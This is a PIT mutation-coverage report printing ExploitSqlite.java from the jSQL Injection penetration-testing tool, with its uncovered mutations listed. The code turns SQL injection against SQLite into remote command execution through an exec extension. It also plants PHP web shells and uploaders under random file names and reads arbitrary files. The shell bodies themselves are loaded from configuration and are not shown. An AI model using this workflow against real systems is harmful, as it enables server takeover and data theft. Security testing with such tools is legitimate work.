ExploitSqlite.java

1
package com.jsql.model.accessible.engine;
2
3
import com.jsql.model.InjectionModel;
4
import com.jsql.model.accessible.DataAccess;
5
import com.jsql.model.accessible.ResourceAccess;
6
import com.jsql.model.accessible.engine.sqlite.ModelYamlSqlite;
7
import com.jsql.model.bean.database.MockElement;
8
import com.jsql.model.suspendable.Input;
9
import com.jsql.view.subscriber.Seal;
10
import com.jsql.model.exception.AbstractSlidingException;
11
import com.jsql.model.exception.JSqlException;
12
import com.jsql.model.exception.JSqlRuntimeException;
13
import com.jsql.model.suspendable.SuspendableGetRows;
14
import com.jsql.util.LogLevelUtil;
15
import com.jsql.util.StringUtil;
16
import org.apache.commons.lang3.RandomStringUtils;
17
import org.apache.commons.lang3.StringUtils;
18
import org.apache.logging.log4j.LogManager;
19
import org.apache.logging.log4j.Logger;
20
import org.yaml.snakeyaml.Yaml;
21
22
import java.io.File;
23
import java.io.FileInputStream;
24
import java.io.IOException;
25
import java.io.InputStream;
26
import java.net.http.HttpResponse;
27
import java.util.UUID;
28
import java.util.function.BinaryOperator;
29
30
public class ExploitSqlite {
31
32
    private static final Logger LOGGER = LogManager.getRootLogger();
33
    private final InjectionModel injectionModel;
34
    private final ModelYamlSqlite modelYaml;
35
36
    public ExploitSqlite(InjectionModel injectionModel) {
37
        this.injectionModel = injectionModel;
38
        var yaml = new Yaml();
39
        this.modelYaml = yaml.loadAs(
40
            injectionModel.getMediatorEngine().getSqlite().instance().getModelYaml().getResource().getExploit(),
41
            ModelYamlSqlite.class
42
        );
43
    }
44
45
    public void createUdf() {
46
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
47
        var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
48
            this.modelYaml.getExtension().getExec(),
49
            ResourceAccess.WEB_CONFIRM_CMD +"%20"
50
        ), ResourceAccess.TBL_READ);
51 1 1. createUdf : negated conditional → NO_COVERAGE
        if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
52
            LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
53 1 1. createUdf : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(this::runRce));
54
        }
55
    }
56
57
    public String runRce(String command, UUID uuidShell) {
58
        String result;
59
        try {
60
            result = this.injectionModel.getResourceAccess().getResult(String.format(
61
                this.modelYaml.getExtension().getExec(),
62
                command.replace(StringUtils.SPACE, "%20")
63
            ), ResourceAccess.RUN_FUNC);
64
        } catch (JSqlException e) {
65
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
66
        }
67 1 1. runRce : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
        this.injectionModel.sendToViews(new Seal.GetTerminalResult(
68
            uuidShell,
69
            result.trim() +"\n"  // missing newline on some extensions
70
        ));
71 1 1. runRce : replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::runRce → NO_COVERAGE
        return result;
72
    }
73
74
    public String createWeb(String pathExploit, String urlExploit) {
75
        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
76
77
        String bodyExploit = StringUtil.base64Decode(
78
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty("exploit.web")
79
            )
80
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
81
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
82
        var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
83
        var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
84
        var nameExploit = nameDbRandom + nameTableRandom +".php";
85
        this.injectionModel.injectWithoutIndex(String.format(
86
            this.modelYaml.getWriteFile(),
87
            pathExploit + nameExploit, nameDbRandom,
88
            nameDbRandom, nameTableRandom,
89
            nameDbRandom, nameTableRandom, bodyExploit
90
        ), ResourceAccess.TBL_DUMP);
91
92
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
93
            String result = this.injectionModel.getResourceAccess().callCommand(
94
                urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
95
            );
96 1 1. lambda$createWeb$0 : negated conditional → NO_COVERAGE
            if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
97
                LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
98
                return StringUtils.EMPTY;
99
            }
100 1 1. lambda$createWeb$0 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE
            this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
101 1 1. lambda$createWeb$0 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::lambda$createWeb$0 → NO_COVERAGE
            return urlSuccess;
102
        };
103
104 1 1. createWeb : replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::createWeb → NO_COVERAGE
        return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
105
    }
106
107
    public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
108
        String bodyExploit = StringUtil.base64Decode(
109
                this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
110
            )
111
            .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
112
            .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
113
        var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
114
        var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
115
        var nameExploit = nameDbRandom + nameTableRandom +".php";
116
        this.injectionModel.injectWithoutIndex(String.format(
117
            this.modelYaml.getWriteFile(),
118
            pathExploit + nameExploit, nameDbRandom,
119
            nameDbRandom, nameTableRandom,
120
            nameDbRandom, nameTableRandom, bodyExploit
121
        ), ResourceAccess.TBL_DUMP);
122
123
        BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
124
            try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
125
                HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
126 1 1. lambda$createUpload$1 : negated conditional → NO_COVERAGE
                if (result.body().contains(DataAccess.LEAD +"y")) {
127
                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
128
                } else {
129
                    LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
130
                }
131
            } catch (InterruptedException e) {
132
                LOGGER.log(LogLevelUtil.IGNORE, e, e);
133 1 1. lambda$createUpload$1 : removed call to java/lang/Thread::interrupt → NO_COVERAGE
                Thread.currentThread().interrupt();
134
            } catch (IOException | JSqlException e) {
135
                throw new JSqlRuntimeException(e);
136
            }
137 1 1. lambda$createUpload$1 : replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::lambda$createUpload$1 → NO_COVERAGE
            return urlSuccess;
138
        };
139
140
        this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
141
    }
142
143
    public String getRead(String pathFile) throws AbstractSlidingException {
144
        LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement: extension fileio loaded");
145 1 1. getRead : replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::getRead → NO_COVERAGE
        return new SuspendableGetRows(this.injectionModel).run(new Input(
146
            String.format(
147
                this.modelYaml.getExtension().getFileioRead(),
148
                pathFile
149
            ),
150
            new String[]{ StringUtils.EMPTY },
151
            false,
152
            1,
153
            MockElement.MOCK,
154
            ResourceAccess.FILE_READ
155
        ));
156
    }
157
}

Mutations

51

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

53

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

67

1.1
Location : runRce
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

71

1.1
Location : runRce
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::runRce → NO_COVERAGE

96

1.1
Location : lambda$createWeb$0
Killed by : none
negated conditional → NO_COVERAGE

100

1.1
Location : lambda$createWeb$0
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

101

1.1
Location : lambda$createWeb$0
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::lambda$createWeb$0 → NO_COVERAGE

104

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::createWeb → NO_COVERAGE

126

1.1
Location : lambda$createUpload$1
Killed by : none
negated conditional → NO_COVERAGE

133

1.1
Location : lambda$createUpload$1
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

137

1.1
Location : lambda$createUpload$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::lambda$createUpload$1 → NO_COVERAGE

145

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/engine/ExploitSqlite::getRead → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.23.0